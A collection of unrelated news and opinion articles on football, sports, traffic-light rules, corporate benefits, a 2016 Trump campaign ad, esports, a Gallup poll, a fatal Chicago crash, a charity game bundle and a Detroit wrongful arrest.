Real Madrid, have a very big problem on their hands to sort out. Florentino Perez has come out to calm fans about the team’s sluggish display, which includes a thumping by an unknown Alcorcon in the Spanish cup. The rumor mill is already filled up with news of management planning to boot head coach, Manuel Pellegrini. Impatience is the disease, Real are currently suffering from. They want to correct the wrongs of last season but, this is not going to be done in a fortnight. Real invested so heavily in bringing to the Bernabeau Cristiano Ronaldo, Kaka, Xabi Alonso and Benzema. Therefore, the demand for trophies this season is inelastic. But Pellegrini, imported from Villarreal will have himself to blame for allowing many star names to leave Madrid on orders of the directors. In a key moment where Ronaldo is out injured, perhaps, Robben and Sneijder having a great time at Bayern and Inter would have been assets to the struggling side. Madrid doesn’t need a new boss but time to fix the problem.
New minimum times follow complaints from motorists ticketed by red-light cameras
The state is requiring that caution lights meet the new, slightly longer standard by the end of the year at all intersections that have red-light cameras.
Yellow lights at hundreds of Florida intersections will last a tiny bit longer because of new state guidelines crafted after complaints from motorists ticketed by red-light cameras.
Mark Wilson, traffic-operations engineer for the Florida Department of Transportation, said the changes are intended to make intersections safer, but Central Florida traffic engineers say they also may quiet red-light-camera critics who insist that yellow lights are shortened to snare motorists and rake in millions of dollars in red-light fines.
"We don't play around with the times," said Jay Davoll, city engineer for Apopka, which has collected about $2 million in red-light fines this year, more than any other city or county in Central Florida. "But people say we do." The city shares its ticket revenue with the state, which takes more than half of every $158 citation.
Although the yellow-light increases are slight — no more than half a second at many intersections — they likely will reduce the number of red-light runners, said Pei-Sung Lin, program director of the Center for Urban Transportation Research at the University of South Florida, which monitors state traffic issues.
He said the longer caution lights will help some drivers react better to a change in signal and brake for a red light. Yellow lights generally range between 3 and 6 seconds, depending on posted speeds.
For example, the state's new minimum is 3.4 seconds on a road where the posted speed limit is 25 mph, up from 3 seconds. A yellow light on a road with a posted speed limit of 55 miles an hour should burn for 5.5 seconds, up from 5 seconds.
Some intersections may already meet or exceed the new state minimums, which are longer than national standards. "I assume most agencies will have to make some changes," said Richard Morrow, a state traffic-operations engineer for the Central Florida region, which includes Orange, Lake, Osceola, Seminole and Volusia counties.
"There are a lot of jokes about [yellow lights]," said Ocoee police Lt. Brad Dreasher, who manages the city's red-light program. "A yellow is telling you 'Caution! Slow down! There's going to be a change in traffic pattern.' [But] some people think it's a sign to hit the gas and get through."
Wilson said the state's directive this month was prompted in part by conclusions that Florida's drivers, which include a high percentage of elderly people and tourists unfamiliar with local traffic patterns, need more time to recognize and act on signal changes.
The new times are to be implemented by Dec. 31 at the hundreds of intersections where cameras are snapping pictures of red-light runners. Cities and counties have until June 30, 2015, to adjust yellow times on signals at other intersections.
One company that hasn’t gotten onboard the cord-free charging train yet is Apple, which is a little odd since it has a well-known distaste for excess cabling. With the arrival of iOS 5, you’ll no longer need to plug your iPhone, iPod touch, or iPad in to your computer to transfer songs — Wi-Fi sync has finally been enabled. You will, however, still need to jam in a cord to charge the battery.
That may very well change with future Apple devices. Physorg has spotted a patent entitled “wireless power utilization in a local computing environment” from the gang in Cupertino which details a wireless charging system with a one-meter range. The system described is similar in concept to inductive charging mats and pads, but you wouldn’t have to rest a device on anything specific in order for Apple’s system to work — it only needs to be nearby.
A patent doesn’t mean that there are products on the way any time soon, but again — Apple hates cords. Maybe a retina display isn’t the only internal upgrade coming to the new iPad?
The exact details of the new FedEx policy have yet to be finalized, but the Memphis-based shipper has been keen to publicize this change after having received heavy criticism in the past for failing to provide such benefits for all its LGBT employees.
The company’s lack of health benefits for same gender couples saw it pulled from the DiversityInc Top 50 Companies list in 2007. To qualify, all companies must offer same-sex domestic partner or spousal health benefits, which FedEx did offer but only in states where it was legally required to do so such as in California, and to employees in its FedEx Office (FedEx Kinko) division where employees had received the health benefits before FedEx acquired Kinko in 2004. The issue was highlighted again when Fortune’s 2009 100 Best Companies to Work For list made the same error.
The Human Rights Campaign, who publish an annual Corporate Equality Index rating companies on how LGBT friendly their policies are, praised the decision while also pointing to the work that still needs to be done:
FedEx’s partner benefits won’t be available until 2012, and it is unclear whether the benefits will be offered to union employees or whether they’ll recognize same-sex spouses. Nonetheless, FedEx’s decision to provide equal benefits to lesbian, gay, bisexual and transgender employees with same-sex partners marks a significant change to a powerful American, multinational business once publicly recalcitrant on LGBT workplace equality. We will look to businesses such as ExxonMobil (NYSE: XOM) and Wal-Mart (NYSE: WMT), which top the Fortune 1000 list, to make the same smart decision.
Regardless, we’ll continue to partner with FedEx and companies like it to ensure that their benefits demonstrate current best practices, and to encourage them to join the coalition of 80 major businesses that support the federal Tax Equity for Health Plan Beneficiaries Act (H.R. 2625 / S. 1153) to end the unfair taxation of employer-provided benefits to same-sex partners and spouses.
In 2009, FedEx added gender identity to its anti-discrimination policy, though, like many companies, it has yet to offer trans-inclusive diversity training or insurance coverage. Based on the 2010 Corporate Equality Index, FedEx scored 70 points out of a possible 100. UPS, which has offered same-sex domestic partner health benefits since 2004, scored 100.
Speaking on the new benefits policy and why there will be a delay in bringing in same-sex partner benefits, FedEx spokesperson Sandra Munoz told Tennessee news site The Commercial Appeal:
“Employees have been asking for the benefit,” said spokeswoman Sandra Munoz.
It won’t go into effect sooner because FedEx needs time to rebuild benefits that were cut as part of a belt-tightening to help weather the recession, Munoz added.
Munoz said details will be worked out before employees get the option of choosing the benefit during health insurance enrollment in the fall of 2011.
The benefit won’t apply to heterosexual domestic partners, she said.
This last point has caused some raised eyebrows, with opponents calling it out as evidence of discrimination against straight domestic partners.
However, one legal expert said that the policy change is entirely within FedEx’s right to determine how to supply benefits to its employees and that one must look to the nature of the change before criticizing the policy.
From a May 25 follow-up in The Commercial Appeal:
“I know some heterosexuals are freaking out and saying ‘this is not fair.’ But I think they’re missing the defining difference, being that they can get married, where homosexual couples cannot in most states,” said Marcia Wagner, principal in the Wagner Law Group, a Boston firm specializing in employment law.
“It’s perfectly legal,” said Wagner. “At the end of the day, I am against determining on the basis of sexual orientation. But we live in a private-enterprise world, and private enterprise can determine what it wants to do.”
In the same article FedEx spokeswoman Sandra Munoz supplies additional information, saying that FedEx allows employees another way to obtain health insurance for domestic partners, overage dependents and the like in the form of an opt-in group plan run by the HRPolicy Association, and has done so since 2009.
Although FedEx’s addition of same-sex domestic partner health benefits is not a massive victory for LGBT rights in itself, it is perhaps indicative of a shift toward LGBT inclusive policies in corporate America. It is also hoped that the Memphis based shipping giant’s move to promote equality will inspire other businesses in conservative areas to consider making a similar gesture.
However, work still needs to be done to ensure businesses provide equal rights to LGBTs in the workplace, which is why the Employment Non-Discrimination Act currently awaiting action in Congress is so vital.
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Photo used under the Creative Commons Attribution License with thanks to Dano.
By Patrick Martin
5 January 2016
As the 2016 US presidential campaign enters a new stage, the final month before the initial caucus and primary contests, billionaire Donald Trump, the Republican frontrunner, released his first television ad on Monday.
The 30-second spot, which is to begin appearing this week on local television stations in Iowa and New Hampshire, recycles Trump’s most notoriously racist attacks on immigrants and Muslims.
The ad smears both immigrants and Muslims by linking them to the attack last month in San Bernardino, California, where two gunmen, husband and wife, opened fire on a workplace meeting, killing 14 people.
The faces of the two attackers, Syed Farook and Tashfeen Malik, are flashed on the screen immediately after the announcer repeats Trump’s call for “a temporary shutdown of Muslims entering the United States.”
Adding militarism to racism, the announcer then declares, “He’ll quickly cut the head off ISIS and take their oil.”
This is followed by film of immigrants apparently storming a border fence, while the announcer invokes Trump’s notion of “building a wall on our southern border that Mexico will pay for.”
In keeping with the gross dishonesty and cynicism of the Trump campaign, the scene is not even filmed on the US-Mexico border, but rather shows African immigrants seeking to enter the Spanish enclave of Ceuta in Morocco.
In an interview with the Washington Post on Sunday, Trump claimed he would spend at least $2 million a week running the ad on television stations in Iowa, where the first Republican caucus will take place February 1, and in New Hampshire, where the first primary election is February 9.
If actually carried out, this would be the first significant outlay by the Trump campaign, which has up to now been sustained by saturation media coverage and the candidate’s first-place ranking in opinion polls (derived at least in part from his celebrity and the media attention).
Trump underscored the central focus of his campaign, on anti-immigrant racism, telling the Post he hoped the new television ads would reach voters concerned that the United States has become “a dumping ground.”
A remarkable aspect of the campaign for the Republican presidential nomination is that there has been little criticism of Trump, the apparent frontrunner, from most of his rivals, and almost no effort to rebut his brazen appeals to racism and anti-Muslims bigotry.
There was an initial flurry of statements rejecting his call to bar Muslims from entering the United States, largely tied to foreign policy concerns about offending US allies like the Persian Gulf monarchies.
Since then, however, both congressional Republican leaders and rivals for the presidential nomination have stopped talking about Trump’s call for flagrantly unconstitutional attacks on democratic rights. Democratic candidates Hillary Clinton and Bernie Sanders have largely downplayed the issue as well.
In speeches, rallies and advertisements, candidates like Jeb Bush, Chris Christie, John Kasich and Marco Rubio, supposedly vying for support from the Republican Party establishment and moderately conservative voters, have targeted each other and avoided any comment on Trump’s increasingly provocative statements.
Senator Ted Cruz of Texas, perhaps the most right-wing of the Republican candidates, has explicitly disavowed any criticism of Trump, repeatedly praising him while offering himself as a less eccentric but equally reactionary alternative.
Cruz leads in polls in Iowa, in large part because the Republican caucuses have been dominated by Christian fundamentalist groups, most of which are supporting Cruz or retired neurosurgeon Ben Carson. Trump is currently polling in second place in Iowa, and he admitted last week that he could well lose the state. He is ahead in polls of the somewhat broader Republican electorate expected in the New Hampshire primary a week later, and in the third contest in South Carolina February 20.
Trump’s choice of Mexican immigrants and Muslims as the targets of his first television advertising only underscores the fascistic character of his campaign, which has vaulted him to the front rank of Republican candidates. The billionaire denounced Mexican immigrants as rapists and murderers when he first announced his candidacy last June. He took up the cudgel against Muslims after the November 13 terrorist attack in Paris, and made his now-notorious pledge to halt the entry of all Muslims into the United States after the December 2 attack in San Bernardino. These were not verbal “gaffes,” but deliberate racist provocations aimed at encouraging a pogrom-like hysteria.
This right-wing anti-immigrant campaign is facilitated by the Obama administration and the Democratic Party. This week the Department of Homeland Security launched a new series of raids targeting Central American immigrants, aimed at rounding up and deporting women and children who have fled gang violence and savage repression by US-backed regimes in Guatemala, El Salvador and Honduras.
Trump applauded the raids, tweeting, “Does everyone see that the Democrats and President Obama are now, because of me, starting to deport people who are here illegally. Politics!” He also cited the new DHS actions at his campaign rallies, declaring, “It’s about time.”
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Goff takes over an offense that’s been downright horrid the past two seasons. After finishing 29th in both scoring offense (17.5 points per game) and offensive DVOA in 2015, Fisher’s team has somehow been worse upon moving to L.A. The Rams, dead last in points per game (15.4) and 30th in offensive DVOA, have played three games in which they haven’t scored an offensive touchdown. As a reward for their patience, fans in Southern California have been bludgeoned with the most unwatchable team in football.
To say nothing of how long it took Goff to displace Keenum, the design and infrastructure of the Rams offense should temper any early expectations for the rookie. The goal of the next seven games — aside from satiating an increasingly restless mob in the Coliseum — should not only be for Goff to accrue some game-speed experience, but also to prevent him from being infected by the stink of the Rams offense.
Even if Goff can become the focal point of L.A.’s offense down the line, the Rams aren’t built for that to happen anytime soon. Everything still runs through Todd Gurley. And along with providing an ember that might restart the fire for the downfield passing game, the hope for Goff is that his early returns could ignite the offense enough to give Gurley new life.
Because watching the Rams offense is now the type of punishment normally reserved for the deepest circles of hell, it’s easy to forget the phenomenon Gurley was early in his rookie season. Five games into his career, he already looked like one of the better running backs in the NFL. From Week 4 to Week 8 — when his workload increased after he returned to health following the ACL injury suffered in his final season at Georgia — he averaged 6.43 yards per carry.
Since that stretch, though, it’s been a slog on the ground for both Gurley and the Rams’ running game. Over his past 16 games, Gurley is averaging just 3.44 yards per carry. Nine games into this season, he’s averaging 3.08. For players with at least 297 carries (Gurley’s current pace), it would be the second-worst mark since the merger.
Because the Rams offense must destroy anything beautiful, the excitement that Gurley brought early in his career is all but gone. The Rams’ eventual fortunes likely hinge on Goff’s performance, but figuring out whether the Gurley we saw last October is lurking just beneath the surface is just as pressing a concern.
Any dive into Gurley’s struggles this year has to start with the Rams’ play up front. For the second straight season, the Rams have an offensive line that ranks near the bottom of the league. With every passing week, hope for improvement from left tackle Greg Robinson — the no. 2 pick in the 2014 draft — dwindles further. Although there are some bright spots (left guard Rodger Saffold remains a solid starter and right tackle Rob Havenstein can be a sentient skyscraper in the running game), this is a group that’s routinely outmanned.
The conventional wisdom regarding Gurley’s struggles is that with a leaky offensive line and defenses free to stack the box and dare the quarterback to beat them, the Rams’ running game is often dead on arrival. That shows up both on film and in the numbers.
There isn’t much any back can do when six members of an opposing defense are playing in his backfield. According to Pro Football Focus, Gurley is averaging a ridiculous 2.2 of his 3.1 yards per carry after contact and has gained a silly 70.3 percent of his yardage after being hit.
The problem with attributing Gurley’s cratering to poor blocking is that this offense looks almost identical to the supporting cast Gurley had when he was torching defenses early last year. Keenum took over for Nick Foles 10 games into the 2015 season, but that was a lateral move from one anemic passing game to another. Along the offensive line, there’s a chance the Rams have actually been better this season. After injuries forced them to shuffle players and positions at times last year, only one member of the Rams’ starting five has missed a game this fall. The running lanes still don’t exist, but for Gurley, at least it’s the evil he knows.
What made Gurley virtually unstoppable during his first four career starts is that he was able to conjure massive gains that didn’t seem possible. Look at the play above, a 48-yard romp against the Browns last October. Linebacker Karlos Dansby (no. 56) meets Gurley square in the hole about a yard deep into the backfield, but somehow, Gurley finds a tiny crease back the other way and makes the first of two devastating cuts.
Watching all of Gurley’s carries this year, it’s those spectacular plays that are missing. Even at his best, Gurley wasn’t chewing out yards and first downs as a rookie. He ranked 36th among 44 qualified backs in Football Outsiders’ success rate, a sign that a good chunk of his production came on a few huge runs. And it did. Gurley had seven carries of at least 30 yards last season, and those runs made up 339 of his 1,106 total — more than 30 percent.
Through nine games this year, Gurley doesn’t have a single carry of more than 30 yards. Shit, he doesn’t have a carry of more than 20. A measly 18-yard gain against the Panthers two weeks ago has been the longest run of Gurley’s season. On the year, he has 10 runs of at least 10 yards. That’s the same number as Jacquizz Rodgers, who has 79 fewer carries.
So, if the blocking is no less putrid and the passing game is just as hapless, the only factor left is Gurley himself. And in watching this year’s tape, the answer seems to be — distressingly — that there is a difference in the back we’re watching now and the one we watched during that magical stretch last fall.
The Rams deserve some credit (I’m not sure how much) for the effort they’ve made to shake Gurley loose in recent weeks. Offensive coordinator Rob Boras has consistently used jet motion with Tavon Austin and fake end-arounds to pull linebackers from the middle of opposing defenses, and at times he’s had Gurley take direct snaps out of the wildcat and keep the ball on runs up the middle.
All the commotion occasionally puts a crack in the stacked boxes the Rams routinely face, but even when there’s been a sliver of daylight, Gurley hasn’t taken advantage the way he has in the past.
Auditing a back’s decision-making with the tape stopped from a bird’s-eye view is a fool’s errand, but the play above (a first-quarter run against the Jets last week) is still a great example of what’s hampered Gurley this season. By sending Austin in motion to the left, the Rams get the result they want from linebacker David Harris (no. 52). He flies to his right, creating a crease up the middle that Gurley should be able to hit for a nice gain. Instead, Gurley follows a blocker coming across the formation, buries his helmet into the tight end’s back, and stumbles forward for a 3-yard gain.
Plays like this have happened a lot this season. Compared to last year, it seems like Gurley has been less willing — and less able — to find and exploit running lanes that aren’t directly created by the play’s design. It’s almost like he has a compulsion to squeeze every inch he can out of a given run, rather than search for the monster gains that made him so lethal as a rookie. And in his defense, that’s understandable.
Almost like a quarterback who’s regularly pummeled, Gurley may be getting a little gun-shy. The constant shots that he takes 2 yards deep have appeared to creep into his thought process. When the norm is a 2-yard loss, a modest 3-yard gain starts to look pretty good. It’s a lot to ask for Gurley to train his mind for 50-yard gains when nabbing 4 yards has become a foreign feeling. It’s not that he’s developed bad habits over the past season and a half — it’s that the circumstances have encouraged him to develop the most boring habits imaginable.
When on form, Gurley showed he has both the awareness and the burst to turn any play into a home run, independent of the way it was designed. He had no problem shaking off the aiming point of a given run if a massive chunk of grass was available a gap or two over. Like any transcendent back, the rules didn’t apply. Right now, he’s only living by the rules. Even Gurley’s creativity hasn’t been able to escape the wrath of the Rams offense.
The good news is that running backs can eventually emerge from a sophomore swoon. Of the 10 players since the merger with the worst YPC average on at least 250 carries, three — Jerome Bettis, Curtis Martin, and Marshall Faulk — are now in the Hall of Fame. None dipped quite like Gurley has this season, but in his third year, Faulk actually dipped to 3.0 yards per rush on 198 carries. I’d say it worked out fine for him.
The 23-year-old finished with 11 points - on four-of-eight shooting - while also dishing out a career high 10 assists in a standout individual effort.
But it wasn't just at the offensive end where Dellavedova shone as he also did some excellent things on defence while matched up against some of the Thunder's best.
Less than two minutes into the contest Cavs coach Mike Brown introduced Dellavedova into the fray and straight away gave him the unenviable task of guarding Thunder star Kevin Durant.
Now Durant did catch fire later on in the match to finish with 35 points, but it's worth noting that he missed four of his first five field goal attempts as he was harassed into tough shots by the tenacious Australian.
"He didn't get under my skin," Durant admitted after the game.
"He plays hard, you can respect a player like that but I didn't pay him any attention."
Dellavedova was doing it at the other end too, as he connected on a three-pointer from the corner early in the second term to put the Cavs up by five.
Durant found his range shortly after to put the Thunder in control, although Dellavedova almost helped the Cavs pull off a miracle as he run the point with aplomb during the entire final term.
Here is a look at Dellavedova's shot chart from the game:
The Australian ended up playing 33 minutes and it is worth noting that he has only seen more court time in a single game against two opposition teams this season.
He played 41 in a loss against the Pacers last month and was seen for 34 minutes against the Spurs in December.
That's the two teams that lead their respective conferences, while Friday's opponent - the Thunder - have the equal second best record in the NBA.
It goes to show that coach Brown has the upmost faith in Dellavedova and believes he is more than capable of rising to the occasion against the better teams in the league.
"One thing Delly's going to do for sure is fight," Brown said after Friday's game.
"He's going to get up in your chest and he's going to bother you, he's going to show his hands so he's not going to foul you. He makes you work for points."
Dellavedova finished Friday's match with a plus-minus rating of +8, the third time in succession that he has led the Cavs in this statistic.
Back in 2011, I wasn’t much into Dota 2. Mainly because it was a closed beta and I didn’t have a key, but also because the hype of The International didn’t get to me. I wasn’t into any competitive scene at the time. I was however really into highlightclips on YouTube.
It was about Na’Vi’s run during The International 2011. It mesmerized me. I wanted to see more of competitive Dota 2, but more importantly, I wanted to see more of Na’Vi. I started studying the competitive scene, found out about schedules and live streaming and immediately followed the biggest tournament at the time, The Defense.
And there it was. The beginning of a rocky road. A road full of emotional rollercoasters. A road which ended this week. Natus Vincere has let go of its entire roster on Friday.
One could argue, that the Na’Vi that mesmerized and won over the hearts of many, hasn’t been that Na’Vi for quite some time. But what was this Na’Vi, what is the phenomenon behind not just the brand, but the players that have been so popular for the past 4 years? Well, buckle up, we’re going for a ride.
What was Na'Vi?
Na’Vi, in its prime, stood for aggressive Dota. As caster Luminous described it during The International 2012: "Na’Vi will gank you under your tower, kill you under your tower and then take your tower". Many failed to truly find a way to stop the Ukrainians from doing what they wanted to do. Thus, the team surrounding superstar Dendi was able so snatch almost every notable title leading up to The International 2012.
TI2 was the event that truly immortalized the Na’Vi roster. If you’re not familiar with it, let me introduce you to "The Play" - Multicam edition, because that captures the atmosphere the best. Many people that witnessed this magic unfold live (via stream or at Benaroya Hall) can still recite the words from LD and Luminous as if it happened yesterday. For me, it was a truly memorable moment. It was incredibly late, or incredibly early, in Germany, thus I had to contain myself to not scream like a little girl.
But it wasn’t just The Play. Na’Vi took out the Chinese power houses one by one. Puppey seemed to have found the magic trick to crack the overlords from the orient, but sadly, it wasn’t enough. Despite Invictus Gaming taking the title, what stays aren’t any memories from the finals, but the moments of magic that Na’vi pulled out of their hats on their way to it.
That was probably their biggest strength. They may not have been the most consistent team following their failure during the TI2 grand finals, but they were able to pull through to summon that magic. During their stay in China in 2013, they were considered weak. They were not at all the Na’Vi people remembered from 2012. They adapted however and grew together as a team and won the Alienware Cup against all Chinese teams.
In that very same notion, the team rose to the occasion to oppose the - at the time - allmighty Alliance during The International 2013. Most people were sure that the Swedes would take the title, but only the Ukrainians could contest them. On their way to do so, they yet again took out several adversaries, such as the dangerous TongFu, which later became the TI4 winning NewBee. Against TongFu, Na’Vi were cornered. But as always, they found a way to pull through. Using the now patched out Fountain Hooks - which was patched out just because of Na'Vi. Back then, you were able to reliably hook heroes and units to your fountain by using Chen’s Test of Faith, given you would get the timing right. With it, they turned a huge disadvantage around and won the game and the series.
Na’Vi may once again have not won the tournament, but they surely cemented themselves in their fans’ hearts. Unfortunately for them however, every fairy tale has an end. Following the conclusion of TI3, Na’Vi was not the team they once were. Alongside Alliance, they were not able to continue their dominant performances and slowly but steadily, the team was unable to reach top performances. The team however pulled through one last time and finished top 8 at TI4. It was by no means a glorious performance, not at all. Maybe it was them getting tired of each other and ongoing internal conflicts finally surfacing, or maybe it was their own lack of preparation, but Na'Vi were not the same anymore. In fact, the team not reaching the grand finals for the first time in four years could be considered the beginning of the end.
At the end of TI4, Na'Vi wasn't even a team anymore. The roster change after the event seemed like the only logical conclusion. With captain Puppey leaving and Kuroky following suit, the team lost two key members and were unable to find suitable, long-lasting replacements. Ever since then, they’ve been looking to find a solid performance, or even a stable roster for that matter. For the fans, only some of which remain, it was heartbreaking to watch.
Thus, the announcement of their departure doesn’t come as much of a surprise to anyone. For some it might even be a relieve. It marks the official end of an era to a squad that introduced many souls to competitive Dota and made the stay much more enjoyable. A team that revolutionized the way people would approach the game. A name that stood for magic and dreams.
Who was Na'Vi?
But who was Na’Vi? What was the roster, that despite various changes, won over the hearts of many? The squad was more just names on a screen. The players had personalities that enticed the fans just as much.
There was Dendi, the heart and soul of the team. A person, that seemingly never stopped smiling and laughing. Dendi became the frontface of Na’Vi, possibly even for Dota 2 in general. His recent disguise at The International 2015 and the reactions it caused, sum up what his relationship with his fans is like. When he got out of that Pudge suit, the stadium was seemingly unable to cheer and roar. Dendi cares for his fans, maybe just as much as his fans love him.
There was Xboct, one of Na’Vi’s first members. Xboct is the phyiscal embodiment of aggression. A player that feared no enemy and, despite the 4 meme around him, was at the top of the scene for the longest time. A hero for many, Xboct relentlessly pushed the boundaries of the carry role. You never knew if he was just being silly or next level. In fact, he may have not known himself most of the time.
There was Puppey, the veteran that used to be the brain behind Na’Vi’s success. Many consider him to be one of the best, if not the best captain and drafter in the world. A tactician that was able to figure out how to beat the seemingly unbeatable Chinese teams, a captain that knew what was best for his players and a person that was loved for his wit.
There was LighTofHeaveN, a player considered to be a legend by many. A member whose performance was always on point during Na'Vi's dominant era. A rock that the others could rely on. When people hit crucial Shackleshots, people used to call out his name.
There was Ars-Art, a one of a kind support that always pulled through for his team. An aggressive support through and through, able to pull out those magic moments. Known for being able to hit Leshrac stuns without needing a setup.
There was Funn1k, one of the strongest offlaners at the time with his signature Batrider. Funn1k knew how to excel at a variety of heroes and more than once decided games on his own.
There was Kuroky, who, until Vici Gaming's fy took the title, was considered the best Rubick player for a long time. Once considered a prodigy, Kuroky had a very calculated approach to the game and understood how to play a variety of supports in order to synchronize with his ever so aggressive teammates.
There was the former leader ArtStyle. Quite the veteran in the scene, leading the Ukrainians, together with Puppey, to the title in 2011. Unable to find success outside of Na'Vi, he left the competitive scene for a while. Unfortunately for him, his comeback has not been more of a success either.
There were others that contributed to the team's success that are still active at the moment, such as Goblak, Dkphobos, fng and Vanskor.
And then there are SonneikO and PSM, two players that tried to help bring Na'Vi back to where it was in their latest roster.
According to a new survey just released by USA Today and the Gallup Poll, the 62-year-old Clinton barely beat out the 45-year-old Palin as the most admired female -- 16% to 15% in a poll of 1,025 adult Americans.
A Democrat and a Republican. A former senator and a former governor. Two polarizing politicians, both moms, both bestselling authors, both lost their bids for one of the nation's top elected offices last year.
One is a woman who once lived in the White House -- Hillary Rodham Clinton . And the other is a woman suspected of harboring ambitions of living there someday -- Sarah Palin .
At the end of the 21st century's first decade, Americans have decided on the women they admire the most -- and their picks might surprise some. (Although probably not if they're looking at these photos.)
... open-ended, meaning men and women respondents had to provide the names by themselves.
Not that public admiration necessarily translates to votes. But the results have to set off any political spectator's eager imagination about a future presidential ballot match-up between the pair who , though politically polar opposites, are both outspoken, both often underestimated and both beloved by their respective bases.
Clinton's 17 straight years as most- or second-most-admired woman is unprecedented since Gallup began asking the question in 1948 (when presidential daughter Margaret Truman and then-Princess, now Queen Elizabeth II were in the top 10.)
Clinton first headed the list in 1993 as the new first lady in the White House.
And she remained highly admired as first lady throughout the public and private turmoils of her husband's two terms, then as a senator from New York and now as the nation's 67th secretary of State, only the third woman to hold the post.
All this despite -- or actually perhaps because of -- her brutal, toe-to-toe, sometimes bitter Democratic presidential primary contests against Barack Obama in 2008.
Palin, on the other hand, burst onto the national political scene -- and this year's list -- thanks to Sen. John McCain plucking her from the political obscurity of the Alaskan permafrost as his 2008 running mate and the first woman on a presidential ticket of the party of Lincoln.
The latest new first lady, Michelle Obama, trailed on this year's most-admired-women list.
She ended up ba ck at No. 4. As The Ticket reported here Monday, in a separate poll, Mrs. Obama is also mirroring her husband's plunge in approval ratings. From November to December, her approval numbers dropped seven points, down to 55, still higher than the president's.
(On the other hand, the favorable ratings of the equally unemployed Palin have risen into the 40s now.)
Just ahead of Mrs. O in the poll's third place was another Illinois African American female, who helped get the Obamas into the White House: the billionaire businesswoman and TV talker Oprah Winfrey.
Predictably, among admired males, the incumbent president easily tops the list as usual. This year, he was followed by, less predictably, his immediate predecessor, Republican ex-President George W. Bush, and then by former South African leader Nelson Mandela.
Someone named Glenn Beck -- completely unknown to us here in the predictably liberal, MSNBC-watching and indubitably elite media -- is the No. 4 most-admired male, despite -- or perhaps because of -- his 1950s haircut.
Pope Benedict XVI is fifth and the Rev. Billy Graham is No. 6, putting him in the top 10 most admired males for the 54th consecutive year. The Rev. Al Sharpton did not make the top 10 cut. Neither did David Letterman.
However, just squeaking into the top 10 males most admired by Americans is Democratic ex-President Bill Clinton. Well, actually, he tied for 10th place with the notorious cellphone texter Tiger Woods.
-- Andrew Malcolm
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Eric Kerestes, 30, was thrown at least 15 feet by the impact and pronounced dead at the scene, officials said. He lived just blocks away.
Passers-by pulled the cabbie from the Checker taxi as it started on fire, witnesses said. A passenger also managed to escape.
"We got him off to a safe distance," said Dan Faraci, who was coming home from work when he came across the accident at Chicago and Milwaukee avenues around 6 a.m.
"I saw him coming down Milwaukee Avenue, I saw him hit the light pole and it flipped, like, four times," Faraci told reporters at the scene.
"The passenger got out of the cab and the cab caught fire," he said. "So a couple of us helped the cabbie out. . .The fire had just started when we got him out."
The manager of a nearby CVS said the cab also hit the store's sign. “It sounded like thunder had hit the building.’’
The cabbie was taken in good condition to Stroger Hospital, and the passenger was taken in serious to critical condition to Northwestern Memorial Hospital.
Kerestes, of the 600 block of North Racine Avenue, was pronounced dead at the scene at 6:36 a.m., according to the Cook County medical examiner’s office.
Kerestes was a student in the Evening MBA Program at the University of Chicago Booth School of Business, according to a statement from the school. Kerestes, who started at Booth in the fall of 2010, was on track to graduate next spring.
A native of Bloomington, Illinois, Kerestes received bachelor’s and master’s degrees in civil engineering at the University of Illinois at Urbana-Champaign.
In the statement, his wife, Tatijana Stafets Kerestes, also a U of C student, said the pair had been inseparable.
“We’ve been together since our freshman year of college, 12 years ago. We’ve been inseparable ever since,” she said. The couple married two years ago in Portugal.
Kerestes worked for Kiewit, a construction company, according to spokeswoman Daisy Roque.
He started at Kiewit by shadowing other engineers, but was hired after impressing his bosses, Roque said.
“He was on our O’Hare project and just evolved from there,” she said in the statement.
Kiewit, located at 8501 W. Higgins Rd. near O’Hare Airport, is involved in building projects that include tunnels, bridges, reservoirs, foundations and mass transit stations in the Northeast and Great Lakes regions of the U.S., according to its website.
Funeral services were pending.
wlee@tribune.com
The package of nearly 50 books and video games went live at 2 p.m. ET yesterday. It is being sold via the Humble Bundle’s typical pay-what-you-want setup, although the minimum price is $30. It reached $1 million in sales within just four and a half hours, and hit the $2 million mark in less than half a day. Humble Bundle Inc. matched the first $300,000 of contributions.
This unique bundle is an effort to “take a stand for freedom,” said the Humble Bundle organization. Every dollar of the purchase price goes to three organizations — the American Civil Liberties Union, the International Rescue Committee and Doctors Without Borders — working on behalf of individuals around the globe who are affected by the travel ban implemented through an executive order President Trump signed on Jan. 27.
Trump’s order, which concerns immigrants, visa holders and permanent U.S. residents from seven majority-Muslim countries, has been halted for the time being by a stay from a federal court. The Trump administration has not yet announced whether it will appeal the injunction to the Supreme Court, or write a new executive order that’s more likely to hold up in court.
"I just want to be able to move on with my life," she said, "and put this behind me without it haunting me and my career. That’s all I want."
She is a nurse, but doesn’t want to you see her face or know her name because it’s already been tainted, she says, by a mistake made by police.
It happened more than four years ago at a now closed motorcycle bar on 14th Street in Detroit where a veteran Detroit police officer was off the clock and drinking with friends.
According to police records, that’s where the officer met a woman in her thirties who was in trouble. He offered her a ride, then drove down the street to a rent-by-the-hour motel where the two went inside.
The officer said he passed out and, when he woke up, the mystery woman had stolen his personal vehicle and department-issued firearm.
The theft marked a major embarrassment for the officer, but police officials say gun thefts present a danger to the public.
"Anytime that a weapon is not in the hands of the proper owner, it’s a concern," said Assistant Detroit Police Chief James White.
Detroit police moved quickly to find the perpetrator and after investigating and receiving tips, they said they found her. The officer who's gun and vehicle were stolen picked her out of a lineup and, later that morning, cops went to the hospital where she worked. They had a warrant for her arrest.
"Not only was I not there, I have no idea where this place is," said the woman. "I was at home with my husband. I immediately started crying, I said you have the wrong person."
But the officers weren’t convinced, and told her to put her hands behind her back.
"I said 'well please, please give me the dignity of not putting those handcuffs on me and walking me out of my job. I have to come back here'."
They cuffed her anyway, she said, and drove her to a nearby precinct where they took her prints, mug shot and prepared for her arraignment the next day. She was accused of stealing an officer’s weapons and car.
But after more than four hours of intense questioning, she says the officers finally realized they made a mistake.
"He said, 'I think we have the wrong person. I’m sorry. Is there anything I can do to help you? Do you want me to take you back to your job? Do you want me to take you home?'" she recalled.
The woman was released, the arraignment was canceled and soon after, police issued her a clearance letter, saying the arrest had been “discharged no case.”
Her arrest was supposed to be removed from the DPD database like it never happened.
She moved on with her life, or at least tried. But then last year, while pursuing a graduate nursing degree, university officials ran a background check. There, in black and white, were the four felonies she thought were cleared from her record.
"I received a phone call from the Christian university I attend, telling me that there was a flag that came up on my background check," she said.
"Because on paper, you’re an accused car thief, an accused gun thief," said Channel 7's Ross Jones.
"That’s exactly what it says I am on paper," she said.
Willie Bell is the President of the Detroit Board of Police Commissioners, which oversees DPD. Before that, he spent 32 years on the force.
